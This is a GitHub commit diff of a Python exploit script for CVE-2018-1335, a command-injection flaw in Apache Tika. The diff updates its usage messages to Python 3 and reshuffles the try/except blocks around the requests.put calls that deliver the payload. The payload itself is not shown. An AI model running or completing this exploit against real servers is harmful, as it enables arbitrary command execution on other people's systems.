File tree Expand file tree Collapse file tree 1 file changed +6
-6
lines changed Expand file tree Collapse file tree 1 file changed +6
-6
lines changed Original file line number Diff line number Diff line change 10
10
import requests
11
11
12
12
if len (sys .argv ) < 4 :
13
- print ("Usage: python CVE-2018-1335.py <host> <port> <command>" )
14
- print ("Example: python CVE-2018-1335.py localhost 9998 calc.exe" )
13
+ print ("Usage: python3 CVE-2018-1335.py <host> <port> <command>" )
14
+ print ("Example: python3 CVE-2018-1335.py localhost 9998 calc.exe" )
15
15
else :
16
16
host = sys .argv [1 ]
17
17
port = sys .argv [2 ]
36
36
except :
37
37
try :
38
38
requests .put (f"http://{ url } " , headers = headers , data = jscript )
39
+ except :
40
+ print ("Something went wrong.\n Usage: python3 CVE-2018-1335.py <host> <port> <command>" )
41
+ try :
42
+ requests .put ("http://" + url , headers = headers , data = jscript )
39
43
except :
40
44
print ("Something went wrong.\n Usage: python CVE-2018-1335.py <host> <port> <command>" )
41
- try :
42
- requests .put ("http://" + url , headers = headers , data = jscript )
43
- except :
44
- print "Something went wrong.\n Usage: python CVE-2018-1335.py <host> <port> <command>"
You can’t perform that action at this time.
0 commit comments